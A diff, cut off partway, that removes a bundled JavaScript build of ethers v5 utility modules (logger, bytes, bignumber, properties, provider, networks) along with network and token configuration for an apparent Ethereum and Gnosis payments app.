- if (Array.isArray(res)) - return res; - } - function fromWords(words2) { - var res = convert(words2, 5, 8, false); - if (Array.isArray(res)) - return res; - throw new Error(res); - } - module.exports = { - decodeUnsafe, - decode: decode32, - encode: encode62, - toWordsUnsafe, - toWords, - fromWordsUnsafe, - fromWords - }; - } - }); - init_define_chainIDList(); - init_define_extraRpcs(); - init_define_chainIDList(); - init_define_extraRpcs(); - var permit2Address = "0x000000000022D473030F116dDEE9F6B43aC78BA3"; - var LOCAL_HOST = "http://127.0.0.1:8545"; - var networkIds = Object.fromEntries( - Object.entries(define_chainIDList_default).map(([id22, name]) => { - const chainId = parseInt(id22); - const chain = name.charAt(0).toUpperCase() + name.slice(1); - return [chain, chainId]; - }) - ); - var networkNames = Object.fromEntries( - Object.entries(networkIds).map(([name, id22]) => { - const chainName = name.charAt(0).toUpperCase() + name.slice(1); - return [id22, chainName]; - }) - ); - var networkRpcs = Object.fromEntries( - Object.entries(networkIds).map(([, value]) => { - const chainRpcs = define_extraRpcs_default[value] || []; - return [value, chainRpcs]; - }) - ); - var tokens = { - [networkIds.Mainnet]: { - DAI: { - address: "0x6b175474e89094c44da98b954eedeac495271d0f", - decimals: 18, - symbol: "DAI" - } - }, - [networkIds.Gnosis]: { - WXDAI: { - address: "0xe91d153e0b41518a2ce8dd3d7944fa863463a97d", - decimals: 18, - symbol: "WXDAI" - } - } - }; - var networkCurrencies = { - [networkIds.Mainnet]: { symbol: "ETH", decimals: 18 }, - [networkIds.Goerli]: { symbol: "GoerliETH", decimals: 18 }, - [networkIds.Gnosis]: { symbol: "XDAI", decimals: 18 }, - [networkIds.Anvil]: { symbol: "XDAI", decimals: 18 } - }; - var networkExplorers = { - [networkIds.Mainnet]: "https://etherscan.io", - [networkIds.Goerli]: "https://goerli.etherscan.io", - [networkIds.Gnosis]: "https://gnosisscan.io", - [networkIds.Anvil]: "https://gnosisscan.io" - }; - function getNetworkName(networkId) { - const networkName = networkNames[networkId ?? 0]; - if (!networkName) { - console.error(`Unknown network ID: ${networkId}`); - } - return networkName ?? "Unknown Network"; - } - init_define_chainIDList(); - init_define_extraRpcs(); - init_define_chainIDList(); - init_define_extraRpcs(); - init_define_chainIDList(); - init_define_extraRpcs(); - init_define_chainIDList(); - init_define_extraRpcs(); - init_define_chainIDList(); - init_define_extraRpcs(); - var import_bn = __toESM2(require_bn()); - init_define_chainIDList(); - init_define_extraRpcs(); - init_define_chainIDList(); - init_define_extraRpcs(); - init_define_chainIDList(); - init_define_extraRpcs(); - var version = "logger/5.7.0"; - var _permanentCensorErrors = false; - var _censorErrors = false; - var LogLevels = { debug: 1, "default": 2, info: 2, warning: 3, error: 4, off: 5 }; - var _logLevel = LogLevels["default"]; - var _globalLogger = null; - function _checkNormalize() { - try { - const missing = []; - ["NFD", "NFC", "NFKD", "NFKC"].forEach((form) => { - try { - if ("test".normalize(form) !== "test") { - throw new Error("bad normalize"); - } - ; - } catch (error) { - missing.push(form); - } - }); - if (missing.length) { - throw new Error("missing " + missing.join(", ")); - } - if (String.fromCharCode(233).normalize("NFD") !== String.fromCharCode(101, 769)) { - throw new Error("broken implementation"); - } - } catch (error) { - return error.message; - } - return null; - } - var _normalizeError = _checkNormalize(); - var LogLevel; - (function(LogLevel22) { - LogLevel22["DEBUG"] = "DEBUG"; - LogLevel22["INFO"] = "INFO"; - LogLevel22["WARNING"] = "WARNING"; - LogLevel22["ERROR"] = "ERROR"; - LogLevel22["OFF"] = "OFF"; - })(LogLevel || (LogLevel = {})); - var ErrorCode; - (function(ErrorCode22) { - ErrorCode22["UNKNOWN_ERROR"] = "UNKNOWN_ERROR"; - ErrorCode22["NOT_IMPLEMENTED"] = "NOT_IMPLEMENTED"; - ErrorCode22["UNSUPPORTED_OPERATION"] = "UNSUPPORTED_OPERATION"; - ErrorCode22["NETWORK_ERROR"] = "NETWORK_ERROR"; - ErrorCode22["SERVER_ERROR"] = "SERVER_ERROR"; - ErrorCode22["TIMEOUT"] = "TIMEOUT"; - ErrorCode22["BUFFER_OVERRUN"] = "BUFFER_OVERRUN"; - ErrorCode22["NUMERIC_FAULT"] = "NUMERIC_FAULT"; - ErrorCode22["MISSING_NEW"] = "MISSING_NEW"; - ErrorCode22["INVALID_ARGUMENT"] = "INVALID_ARGUMENT"; - ErrorCode22["MISSING_ARGUMENT"] = "MISSING_ARGUMENT"; - ErrorCode22["UNEXPECTED_ARGUMENT"] = "UNEXPECTED_ARGUMENT"; - ErrorCode22["CALL_EXCEPTION"] = "CALL_EXCEPTION"; - ErrorCode22["INSUFFICIENT_FUNDS"] = "INSUFFICIENT_FUNDS"; - ErrorCode22["NONCE_EXPIRED"] = "NONCE_EXPIRED"; - ErrorCode22["REPLACEMENT_UNDERPRICED"] = "REPLACEMENT_UNDERPRICED"; - ErrorCode22["UNPREDICTABLE_GAS_LIMIT"] = "UNPREDICTABLE_GAS_LIMIT"; - ErrorCode22["TRANSACTION_REPLACED"] = "TRANSACTION_REPLACED"; - ErrorCode22["ACTION_REJECTED"] = "ACTION_REJECTED"; - })(ErrorCode || (ErrorCode = {})); - var HEX = "0123456789abcdef"; - var Logger = class _Logger { - constructor(version172) { - Object.defineProperty(this, "version", { - enumerable: true, - value: version172, - writable: false - }); - } - _log(logLevel, args) { - const level = logLevel.toLowerCase(); - if (LogLevels[level] == null) { - this.throwArgumentError("invalid log level name", "logLevel", logLevel); - } - if (_logLevel > LogLevels[level]) { - return; - } - console.log.apply(console, args); - } - debug(...args) { - this._log(_Logger.levels.DEBUG, args); - } - info(...args) { - this._log(_Logger.levels.INFO, args); - } - warn(...args) { - this._log(_Logger.levels.WARNING, args); - } - makeError(message, code, params) { - if (_censorErrors) { - return this.makeError("censored error", code, {}); - } - if (!code) { - code = _Logger.errors.UNKNOWN_ERROR; - } - if (!params) { - params = {}; - } - const messageDetails = []; - Object.keys(params).forEach((key22) => { - const value = params[key22]; - try { - if (value instanceof Uint8Array) { - let hex = ""; - for (let i = 0; i < value.length; i++) { - hex += HEX[value[i] >> 4]; - hex += HEX[value[i] & 15]; - } - messageDetails.push(key22 + "=Uint8Array(0x" + hex + ")"); - } else { - messageDetails.push(key22 + "=" + JSON.stringify(value)); - } - } catch (error2) { - messageDetails.push(key22 + "=" + JSON.stringify(params[key22].toString())); - } - }); - messageDetails.push(`code=${code}`); - messageDetails.push(`version=${this.version}`); - const reason = message; - let url = ""; - switch (code) { - case ErrorCode.NUMERIC_FAULT: { - url = "NUMERIC_FAULT"; - const fault = message; - switch (fault) { - case "overflow": - case "underflow": - case "division-by-zero": - url += "-" + fault; - break; - case "negative-power": - case "negative-width": - url += "-unsupported"; - break; - case "unbound-bitwise-result": - url += "-unbound-result"; - break; - } - break; - } - case ErrorCode.CALL_EXCEPTION: - case ErrorCode.INSUFFICIENT_FUNDS: - case ErrorCode.MISSING_NEW: - case ErrorCode.NONCE_EXPIRED: - case ErrorCode.REPLACEMENT_UNDERPRICED: - case ErrorCode.TRANSACTION_REPLACED: - case ErrorCode.UNPREDICTABLE_GAS_LIMIT: - url = code; - break; - } - if (url) { - message += " [ See: https://links.ethers.org/v5-errors-" + url + " ]"; - } - if (messageDetails.length) { - message += " (" + messageDetails.join(", ") + ")"; - } - const error = new Error(message); - error.reason = reason; - error.code = code; - Object.keys(params).forEach(function(key22) { - error[key22] = params[key22]; - }); - return error; - } - throwError(message, code, params) { - throw this.makeError(message, code, params); - } - throwArgumentError(message, name, value) { - return this.throwError(message, _Logger.errors.INVALID_ARGUMENT, { - argument: name, - value - }); - } - assert(condition, message, code, params) { - if (!!condition) { - return; - } - this.throwError(message, code, params); - } - assertArgument(condition, message, name, value) { - if (!!condition) { - return; - } - this.throwArgumentError(message, name, value); - } - checkNormalize(message) { - if (message == null) { - message = "platform missing String.prototype.normalize"; - } - if (_normalizeError) { - this.throwError("platform missing String.prototype.normalize", _Logger.errors.UNSUPPORTED_OPERATION, { - operation: "String.prototype.normalize", - form: _normalizeError - }); - } - } - checkSafeUint53(value, message) { - if (typeof value !== "number") { - return; - } - if (message == null) { - message = "value not safe"; - } - if (value < 0 || value >= 9007199254740991) { - this.throwError(message, _Logger.errors.NUMERIC_FAULT, { - operation: "checkSafeInteger", - fault: "out-of-safe-range", - value - }); - } - if (value % 1) { - this.throwError(message, _Logger.errors.NUMERIC_FAULT, { - operation: "checkSafeInteger", - fault: "non-integer", - value - }); - } - } - checkArgumentCount(count, expectedCount, message) { - if (message) { - message = ": " + message; - } else { - message = ""; - } - if (count < expectedCount) { - this.throwError("missing argument" + message, _Logger.errors.MISSING_ARGUMENT, { - count, - expectedCount - }); - } - if (count > expectedCount) { - this.throwError("too many arguments" + message, _Logger.errors.UNEXPECTED_ARGUMENT, { - count, - expectedCount - }); - } - } - checkNew(target, kind) { - if (target === Object || target == null) { - this.throwError("missing new", _Logger.errors.MISSING_NEW, { name: kind.name }); - } - } - checkAbstract(target, kind) { - if (target === kind) { - this.throwError("cannot instantiate abstract class " + JSON.stringify(kind.name) + " directly; use a sub-class", _Logger.errors.UNSUPPORTED_OPERATION, { name: target.name, operation: "new" }); - } else if (target === Object || target == null) { - this.throwError("missing new", _Logger.errors.MISSING_NEW, { name: kind.name }); - } - } - static globalLogger() { - if (!_globalLogger) { - _globalLogger = new _Logger(version); - } - return _globalLogger; - } - static setCensorship(censorship, permanent) { - if (!censorship && permanent) { - this.globalLogger().throwError("cannot permanently disable censorship", _Logger.errors.UNSUPPORTED_OPERATION, { - operation: "setCensorship" - }); - } - if (_permanentCensorErrors) { - if (!censorship) { - return; - } - this.globalLogger().throwError("error censorship permanent", _Logger.errors.UNSUPPORTED_OPERATION, { - operation: "setCensorship" - }); - } - _censorErrors = !!censorship; - _permanentCensorErrors = !!permanent; - } - static setLogLevel(logLevel) { - const level = LogLevels[logLevel.toLowerCase()]; - if (level == null) { - _Logger.globalLogger().warn("invalid log level - " + logLevel); - return; - } - _logLevel = level; - } - static from(version172) { - return new _Logger(version172); - } - }; - Logger.errors = ErrorCode; - Logger.levels = LogLevel; - init_define_chainIDList(); - init_define_extraRpcs(); - var version2 = "bytes/5.7.0"; - var logger = new Logger(version2); - function isHexable(value) { - return !!value.toHexString; - } - function addSlice(array) { - if (array.slice) { - return array; - } - array.slice = function() { - const args = Array.prototype.slice.call(arguments); - return addSlice(new Uint8Array(Array.prototype.slice.apply(array, args))); - }; - return array; - } - function isBytesLike(value) { - return isHexString(value) && !(value.length % 2) || isBytes(value); - } - function isInteger(value) { - return typeof value === "number" && value == value && value % 1 === 0; - } - function isBytes(value) { - if (value == null) { - return false; - } - if (value.constructor === Uint8Array) { - return true; - } - if (typeof value === "string") { - return false; - } - if (!isInteger(value.length) || value.length < 0) { - return false; - } - for (let i = 0; i < value.length; i++) { - const v = value[i]; - if (!isInteger(v) || v < 0 || v >= 256) { - return false; - } - } - return true; - } - function arrayify(value, options) { - if (!options) { - options = {}; - } - if (typeof value === "number") { - logger.checkSafeUint53(value, "invalid arrayify value"); - const result = []; - while (value) { - result.unshift(value & 255); - value = parseInt(String(value / 256)); - } - if (result.length === 0) { - result.push(0); - } - return addSlice(new Uint8Array(result)); - } - if (options.allowMissingPrefix && typeof value === "string" && value.substring(0, 2) !== "0x") { - value = "0x" + value; - } - if (isHexable(value)) { - value = value.toHexString(); - } - if (isHexString(value)) { - let hex = value.substring(2); - if (hex.length % 2) { - if (options.hexPad === "left") { - hex = "0" + hex; - } else if (options.hexPad === "right") { - hex += "0"; - } else { - logger.throwArgumentError("hex data is odd-length", "value", value); - } - } - const result = []; - for (let i = 0; i < hex.length; i += 2) { - result.push(parseInt(hex.substring(i, i + 2), 16)); - } - return addSlice(new Uint8Array(result)); - } - if (isBytes(value)) { - return addSlice(new Uint8Array(value)); - } - return logger.throwArgumentError("invalid arrayify value", "value", value); - } - function concat(items) { - const objects = items.map((item) => arrayify(item)); - const length = objects.reduce((accum, item) => accum + item.length, 0); - const result = new Uint8Array(length); - objects.reduce((offset, object) => { - result.set(object, offset); - return offset + object.length; - }, 0); - return addSlice(result); - } - function stripZeros(value) { - let result = arrayify(value); - if (result.length === 0) { - return result; - } - let start = 0; - while (start < result.length && result[start] === 0) { - start++; - } - if (start) { - result = result.slice(start); - } - return result; - } - function zeroPad(value, length) { - value = arrayify(value); - if (value.length > length) { - logger.throwArgumentError("value out of range", "value", arguments[0]); - } - const result = new Uint8Array(length); - result.set(value, length - value.length); - return addSlice(result); - } - function isHexString(value, length) { - if (typeof value !== "string" || !value.match(/^0x[0-9A-Fa-f]*$/)) { - return false; - } - if (length && value.length !== 2 + 2 * length) { - return false; - } - return true; - } - var HexCharacters = "0123456789abcdef"; - function hexlify(value, options) { - if (!options) { - options = {}; - } - if (typeof value === "number") { - logger.checkSafeUint53(value, "invalid hexlify value"); - let hex = ""; - while (value) { - hex = HexCharacters[value & 15] + hex; - value = Math.floor(value / 16); - } - if (hex.length) { - if (hex.length % 2) { - hex = "0" + hex; - } - return "0x" + hex; - } - return "0x00"; - } - if (typeof value === "bigint") { - value = value.toString(16); - if (value.length % 2) { - return "0x0" + value; - } - return "0x" + value; - } - if (options.allowMissingPrefix && typeof value === "string" && value.substring(0, 2) !== "0x") { - value = "0x" + value; - } - if (isHexable(value)) { - return value.toHexString(); - } - if (isHexString(value)) { - if (value.length % 2) { - if (options.hexPad === "left") { - value = "0x0" + value.substring(2); - } else if (options.hexPad === "right") { - value += "0"; - } else { - logger.throwArgumentError("hex data is odd-length", "value", value); - } - } - return value.toLowerCase(); - } - if (isBytes(value)) { - let result = "0x"; - for (let i = 0; i < value.length; i++) { - let v = value[i]; - result += HexCharacters[(v & 240) >> 4] + HexCharacters[v & 15]; - } - return result; - } - return logger.throwArgumentError("invalid hexlify value", "value", value); - } - function hexDataLength(data) { - if (typeof data !== "string") { - data = hexlify(data); - } else if (!isHexString(data) || data.length % 2) { - return null; - } - return (data.length - 2) / 2; - } - function hexDataSlice(data, offset, endOffset) { - if (typeof data !== "string") { - data = hexlify(data); - } else if (!isHexString(data) || data.length % 2) { - logger.throwArgumentError("invalid hexData", "value", data); - } - offset = 2 + 2 * offset; - if (endOffset != null) { - return "0x" + data.substring(offset, 2 + 2 * endOffset); - } - return "0x" + data.substring(offset); - } - function hexConcat(items) { - let result = "0x"; - items.forEach((item) => { - result += hexlify(item).substring(2); - }); - return result; - } - function hexValue(value) { - const trimmed = hexStripZeros(hexlify(value, { hexPad: "left" })); - if (trimmed === "0x") { - return "0x0"; - } - return trimmed; - } - function hexStripZeros(value) { - if (typeof value !== "string") { - value = hexlify(value); - } - if (!isHexString(value)) { - logger.throwArgumentError("invalid hex string", "value", value); - } - value = value.substring(2); - let offset = 0; - while (offset < value.length && value[offset] === "0") { - offset++; - } - return "0x" + value.substring(offset); - } - function hexZeroPad(value, length) { - if (typeof value !== "string") { - value = hexlify(value); - } else if (!isHexString(value)) { - logger.throwArgumentError("invalid hex string", "value", value); - } - if (value.length > 2 * length + 2) { - logger.throwArgumentError("value out of range", "value", arguments[1]); - } - while (value.length < 2 * length + 2) { - value = "0x0" + value.substring(2); - } - return value; - } - function splitSignature(signature22) { - const result = { - r: "0x", - s: "0x", - _vs: "0x", - recoveryParam: 0, - v: 0, - yParityAndS: "0x", - compact: "0x" - }; - if (isBytesLike(signature22)) { - let bytes = arrayify(signature22); - if (bytes.length === 64) { - result.v = 27 + (bytes[32] >> 7); - bytes[32] &= 127; - result.r = hexlify(bytes.slice(0, 32)); - result.s = hexlify(bytes.slice(32, 64)); - } else if (bytes.length === 65) { - result.r = hexlify(bytes.slice(0, 32)); - result.s = hexlify(bytes.slice(32, 64)); - result.v = bytes[64]; - } else { - logger.throwArgumentError("invalid signature string", "signature", signature22); - } - if (result.v < 27) { - if (result.v === 0 || result.v === 1) { - result.v += 27; - } else { - logger.throwArgumentError("signature invalid v byte", "signature", signature22); - } - } - result.recoveryParam = 1 - result.v % 2; - if (result.recoveryParam) { - bytes[32] |= 128; - } - result._vs = hexlify(bytes.slice(32, 64)); - } else { - result.r = signature22.r; - result.s = signature22.s; - result.v = signature22.v; - result.recoveryParam = signature22.recoveryParam; - result._vs = signature22._vs; - if (result._vs != null) { - const vs2 = zeroPad(arrayify(result._vs), 32); - result._vs = hexlify(vs2); - const recoveryParam = vs2[0] >= 128 ? 1 : 0; - if (result.recoveryParam == null) { - result.recoveryParam = recoveryParam; - } else if (result.recoveryParam !== recoveryParam) { - logger.throwArgumentError("signature recoveryParam mismatch _vs", "signature", signature22); - } - vs2[0] &= 127; - const s = hexlify(vs2); - if (result.s == null) { - result.s = s; - } else if (result.s !== s) { - logger.throwArgumentError("signature v mismatch _vs", "signature", signature22); - } - } - if (result.recoveryParam == null) { - if (result.v == null) { - logger.throwArgumentError("signature missing v and recoveryParam", "signature", signature22); - } else if (result.v === 0 || result.v === 1) { - result.recoveryParam = result.v; - } else { - result.recoveryParam = 1 - result.v % 2; - } - } else { - if (result.v == null) { - result.v = 27 + result.recoveryParam; - } else { - const recId = result.v === 0 || result.v === 1 ? result.v : 1 - result.v % 2; - if (result.recoveryParam !== recId) { - logger.throwArgumentError("signature recoveryParam mismatch v", "signature", signature22); - } - } - } - if (result.r == null || !isHexString(result.r)) { - logger.throwArgumentError("signature missing or invalid r", "signature", signature22); - } else { - result.r = hexZeroPad(result.r, 32); - } - if (result.s == null || !isHexString(result.s)) { - logger.throwArgumentError("signature missing or invalid s", "signature", signature22); - } else { - result.s = hexZeroPad(result.s, 32); - } - const vs = arrayify(result.s); - if (vs[0] >= 128) { - logger.throwArgumentError("signature s out of range", "signature", signature22); - } - if (result.recoveryParam) { - vs[0] |= 128; - } - const _vs = hexlify(vs); - if (result._vs) { - if (!isHexString(result._vs)) { - logger.throwArgumentError("signature invalid _vs", "signature", signature22); - } - result._vs = hexZeroPad(result._vs, 32); - } - if (result._vs == null) { - result._vs = _vs; - } else if (result._vs !== _vs) { - logger.throwArgumentError("signature _vs mismatch v and s", "signature", signature22); - } - } - result.yParityAndS = result._vs; - result.compact = result.r + result.yParityAndS.substring(2); - return result; - } - init_define_chainIDList(); - init_define_extraRpcs(); - var version3 = "bignumber/5.7.0"; - var BN = import_bn.default.BN; - var logger2 = new Logger(version3); - var _constructorGuard = {}; - var MAX_SAFE = 9007199254740991; - var _warnedToStringRadix = false; - var BigNumber = class _BigNumber { - constructor(constructorGuard, hex) { - if (constructorGuard !== _constructorGuard) { - logger2.throwError("cannot call constructor directly; use BigNumber.from", Logger.errors.UNSUPPORTED_OPERATION, { - operation: "new (BigNumber)" - }); - } - this._hex = hex; - this._isBigNumber = true; - Object.freeze(this); - } - fromTwos(value) { - return toBigNumber(toBN(this).fromTwos(value)); - } - toTwos(value) { - return toBigNumber(toBN(this).toTwos(value)); - } - abs() { - if (this._hex[0] === "-") { - return _BigNumber.from(this._hex.substring(1)); - } - return this; - } - add(other) { - return toBigNumber(toBN(this).add(toBN(other))); - } - sub(other) { - return toBigNumber(toBN(this).sub(toBN(other))); - } - div(other) { - const o = _BigNumber.from(other); - if (o.isZero()) { - throwFault("division-by-zero", "div"); - } - return toBigNumber(toBN(this).div(toBN(other))); - } - mul(other) { - return toBigNumber(toBN(this).mul(toBN(other))); - } - mod(other) { - const value = toBN(other); - if (value.isNeg()) { - throwFault("division-by-zero", "mod"); - } - return toBigNumber(toBN(this).umod(value)); - } - pow(other) { - const value = toBN(other); - if (value.isNeg()) { - throwFault("negative-power", "pow"); - } - return toBigNumber(toBN(this).pow(value)); - } - and(other) { - const value = toBN(other); - if (this.isNegative() || value.isNeg()) { - throwFault("unbound-bitwise-result", "and"); - } - return toBigNumber(toBN(this).and(value)); - } - or(other) { - const value = toBN(other); - if (this.isNegative() || value.isNeg()) { - throwFault("unbound-bitwise-result", "or"); - } - return toBigNumber(toBN(this).or(value)); - } - xor(other) { - const value = toBN(other); - if (this.isNegative() || value.isNeg()) { - throwFault("unbound-bitwise-result", "xor"); - } - return toBigNumber(toBN(this).xor(value)); - } - mask(value) { - if (this.isNegative() || value < 0) { - throwFault("negative-width", "mask"); - } - return toBigNumber(toBN(this).maskn(value)); - } - shl(value) { - if (this.isNegative() || value < 0) { - throwFault("negative-width", "shl"); - } - return toBigNumber(toBN(this).shln(value)); - } - shr(value) { - if (this.isNegative() || value < 0) { - throwFault("negative-width", "shr"); - } - return toBigNumber(toBN(this).shrn(value)); - } - eq(other) { - return toBN(this).eq(toBN(other)); - } - lt(other) { - return toBN(this).lt(toBN(other)); - } - lte(other) { - return toBN(this).lte(toBN(other)); - } - gt(other) { - return toBN(this).gt(toBN(other)); - } - gte(other) { - return toBN(this).gte(toBN(other)); - } - isNegative() { - return this._hex[0] === "-"; - } - isZero() { - return toBN(this).isZero(); - } - toNumber() { - try { - return toBN(this).toNumber(); - } catch (error) { - throwFault("overflow", "toNumber", this.toString()); - } - return null; - } - toBigInt() { - try { - return BigInt(this.toString()); - } catch (e) { - } - return logger2.throwError("this platform does not support BigInt", Logger.errors.UNSUPPORTED_OPERATION, { - value: this.toString() - }); - } - toString() { - if (arguments.length > 0) { - if (arguments[0] === 10) { - if (!_warnedToStringRadix) { - _warnedToStringRadix = true; - logger2.warn("BigNumber.toString does not accept any parameters; base-10 is assumed"); - } - } else if (arguments[0] === 16) { - logger2.throwError("BigNumber.toString does not accept any parameters; use bigNumber.toHexString()", Logger.errors.UNEXPECTED_ARGUMENT, {}); - } else { - logger2.throwError("BigNumber.toString does not accept parameters", Logger.errors.UNEXPECTED_ARGUMENT, {}); - } - } - return toBN(this).toString(10); - } - toHexString() { - return this._hex; - } - toJSON(key22) { - return { type: "BigNumber", hex: this.toHexString() }; - } - static from(value) { - if (value instanceof _BigNumber) { - return value; - } - if (typeof value === "string") { - if (value.match(/^-?0x[0-9a-f]+$/i)) { - return new _BigNumber(_constructorGuard, toHex(value)); - } - if (value.match(/^-?[0-9]+$/)) { - return new _BigNumber(_constructorGuard, toHex(new BN(value))); - } - return logger2.throwArgumentError("invalid BigNumber string", "value", value); - } - if (typeof value === "number") { - if (value % 1) { - throwFault("underflow", "BigNumber.from", value); - } - if (value >= MAX_SAFE || value <= -MAX_SAFE) { - throwFault("overflow", "BigNumber.from", value); - } - return _BigNumber.from(String(value)); - } - const anyValue = value; - if (typeof anyValue === "bigint") { - return _BigNumber.from(anyValue.toString()); - } - if (isBytes(anyValue)) { - return _BigNumber.from(hexlify(anyValue)); - } - if (anyValue) { - if (anyValue.toHexString) { - const hex = anyValue.toHexString(); - if (typeof hex === "string") { - return _BigNumber.from(hex); - } - } else { - let hex = anyValue._hex; - if (hex == null && anyValue.type === "BigNumber") { - hex = anyValue.hex; - } - if (typeof hex === "string") { - if (isHexString(hex) || hex[0] === "-" && isHexString(hex.substring(1))) { - return _BigNumber.from(hex); - } - } - } - } - return logger2.throwArgumentError("invalid BigNumber value", "value", value); - } - static isBigNumber(value) { - return !!(value && value._isBigNumber); - } - }; - function toHex(value) { - if (typeof value !== "string") { - return toHex(value.toString(16)); - } - if (value[0] === "-") { - value = value.substring(1); - if (value[0] === "-") { - logger2.throwArgumentError("invalid hex", "value", value); - } - value = toHex(value); - if (value === "0x00") { - return value; - } - return "-" + value; - } - if (value.substring(0, 2) !== "0x") { - value = "0x" + value; - } - if (value === "0x") { - return "0x00"; - } - if (value.length % 2) { - value = "0x0" + value.substring(2); - } - while (value.length > 4 && value.substring(0, 4) === "0x00") { - value = "0x" + value.substring(4); - } - return value; - } - function toBigNumber(value) { - return BigNumber.from(toHex(value)); - } - function toBN(value) { - const hex = BigNumber.from(value).toHexString(); - if (hex[0] === "-") { - return new BN("-" + hex.substring(3), 16); - } - return new BN(hex.substring(2), 16); - } - function throwFault(fault, operation, value) { - const params = { fault, operation }; - if (value != null) { - params.value = value; - } - return logger2.throwError(fault, Logger.errors.NUMERIC_FAULT, params); - } - function _base36To16(value) { - return new BN(value, 36).toString(16); - } - init_define_chainIDList(); - init_define_extraRpcs(); - init_define_chainIDList(); - init_define_extraRpcs(); - var version4 = "properties/5.7.0"; - var __awaiter = function(thisArg, _arguments, P, generator) { - function adopt(value) { - return value instanceof P ? value : new P(function(resolve) { - resolve(value); - }); - } - return new (P || (P = Promise))(function(resolve, reject) { - function fulfilled(value) { - try { - step(generator.next(value)); - } catch (e) { - reject(e); - } - } - function rejected(value) { - try { - step(generator["throw"](value)); - } catch (e) { - reject(e); - } - } - function step(result) { - result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); - } - step((generator = generator.apply(thisArg, _arguments || [])).next()); - }); - }; - var logger3 = new Logger(version4); - function defineReadOnly(object, name, value) { - Object.defineProperty(object, name, { - enumerable: true, - value, - writable: false - }); - } - function getStatic(ctor, key22) { - for (let i = 0; i < 32; i++) { - if (ctor[key22]) { - return ctor[key22]; - } - if (!ctor.prototype || typeof ctor.prototype !== "object") { - break; - } - ctor = Object.getPrototypeOf(ctor.prototype).constructor; - } - return null; - } - function resolveProperties(object) { - return __awaiter(this, void 0, void 0, function* () { - const promises = Object.keys(object).map((key22) => { - const value = object[key22]; - return Promise.resolve(value).then((v) => ({ key: key22, value: v })); - }); - const results = yield Promise.all(promises); - return results.reduce((accum, result) => { - accum[result.key] = result.value; - return accum; - }, {}); - }); - } - function checkProperties(object, properties) { - if (!object || typeof object !== "object") { - logger3.throwArgumentError("invalid object", "object", object); - } - Object.keys(object).forEach((key22) => { - if (!properties[key22]) { - logger3.throwArgumentError("invalid object key - " + key22, "transaction:" + key22, object); - } - }); - } - function shallowCopy(object) { - const result = {}; - for (const key22 in object) { - result[key22] = object[key22]; - } - return result; - } - var opaque = { bigint: true, boolean: true, "function": true, number: true, string: true }; - function _isFrozen(object) { - if (object === void 0 || object === null || opaque[typeof object]) { - return true; - } - if (Array.isArray(object) || typeof object === "object") { - if (!Object.isFrozen(object)) { - return false; - } - const keys = Object.keys(object); - for (let i = 0; i < keys.length; i++) { - let value = null; - try { - value = object[keys[i]]; - } catch (error) { - continue; - } - if (!_isFrozen(value)) { - return false; - } - } - return true; - } - return logger3.throwArgumentError(`Cannot deepCopy ${typeof object}`, "object", object); - } - function _deepCopy(object) { - if (_isFrozen(object)) { - return object; - } - if (Array.isArray(object)) { - return Object.freeze(object.map((item) => deepCopy(item))); - } - if (typeof object === "object") { - const result = {}; - for (const key22 in object) { - const value = object[key22]; - if (value === void 0) { - continue; - } - defineReadOnly(result, key22, deepCopy(value)); - } - return result; - } - return logger3.throwArgumentError(`Cannot deepCopy ${typeof object}`, "object", object); - } - function deepCopy(object) { - return _deepCopy(object); - } - var Description = class { - constructor(info) { - for (const key22 in info) { - this[key22] = deepCopy(info[key22]); - } - } - }; - init_define_chainIDList(); - init_define_extraRpcs(); - var version5 = "abstract-provider/5.7.0"; - var __awaiter2 = function(thisArg, _arguments, P, generator) { - function adopt(value) { - return value instanceof P ? value : new P(function(resolve) { - resolve(value); - }); - } - return new (P || (P = Promise))(function(resolve, reject) { - function fulfilled(value) { - try { - step(generator.next(value)); - } catch (e) { - reject(e); - } - } - function rejected(value) { - try { - step(generator["throw"](value)); - } catch (e) { - reject(e); - } - } - function step(result) { - result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); - } - step((generator = generator.apply(thisArg, _arguments || [])).next()); - }); - }; - var logger4 = new Logger(version5); - var ForkEvent = class extends Description { - static isForkEvent(value) { - return !!(value && value._isForkEvent); - } - }; - var Provider = class _Provider { - constructor() { - logger4.checkAbstract(new.target, _Provider); - defineReadOnly(this, "_isProvider", true); - } - getFeeData() { - return __awaiter2(this, void 0, void 0, function* () { - const { block, gasPrice } = yield resolveProperties({ - block: this.getBlock("latest"), - gasPrice: this.getGasPrice().catch((error) => { - return null; - }) - }); - let lastBaseFeePerGas = null, maxFeePerGas = null, maxPriorityFeePerGas = null; - if (block && block.baseFeePerGas) { - lastBaseFeePerGas = block.baseFeePerGas; - maxPriorityFeePerGas = BigNumber.from("1500000000"); - maxFeePerGas = block.baseFeePerGas.mul(2).add(maxPriorityFeePerGas); - } - return { lastBaseFeePerGas, maxFeePerGas, maxPriorityFeePerGas, gasPrice }; - }); - } - // Alias for "on" - addListener(eventName, listener) { - return this.on(eventName, listener); - } - // Alias for "off" - removeListener(eventName, listener) { - return this.off(eventName, listener); - } - static isProvider(value) { - return !!(value && value._isProvider); - } - }; - init_define_chainIDList(); - init_define_extraRpcs(); - init_define_chainIDList(); - init_define_extraRpcs(); - var version6 = "networks/5.7.1"; - var logger5 = new Logger(version6); - function isRenetworkable(value) { - return value && typeof value.renetwork === "function"; - } - function ethDefaultProvider(network) { - const func = function(providers, options) { - if (options == null) { - options = {}; - } - const providerList = []; - if (providers.InfuraProvider && options.infura !== "-") { - try { - providerList.push(new providers.InfuraProvider(network, options.infura)); - } catch (error) { - } - } - if (providers.EtherscanProvider && options.etherscan !== "-") { - try { - providerList.push(new providers.EtherscanProvider(network, options.etherscan)); - } catch (error) { - } - } - if (providers.AlchemyProvider && options.alchemy !== "-") { - try { - providerList.push(new providers.AlchemyProvider(network, options.alchemy)); - } catch (error) { - } - } - if (providers.PocketProvider && options.pocket !== "-") { - const skip = ["goerli", "ropsten", "rinkeby", "sepolia"]; - try { - const provider = new providers.PocketProvider(network, options.pocket); - if (provider.network && skip.indexOf(provider.network.name) === -1) { - providerList.push(provider); - } - } catch (error) { - } - } - if (providers.CloudflareProvider && options.cloudflare !== "-") { - try { - providerList.push(new providers.CloudflareProvider(network)); - } catch (error) { - } - } - if (providers.AnkrProvider && options.ankr !== "-") { - try { - const skip = ["ropsten"]; - const provider = new providers.AnkrProvider(network, options.ankr); - if (provider.network && skip.indexOf(provider.network.name) === -1) { - providerList.push(provider); - } - } catch (error) { - } - } - if (providerList.length === 0) { - return null; - } - if (providers.FallbackProvider) { - let quorum = 1; - if (options.quorum != null) 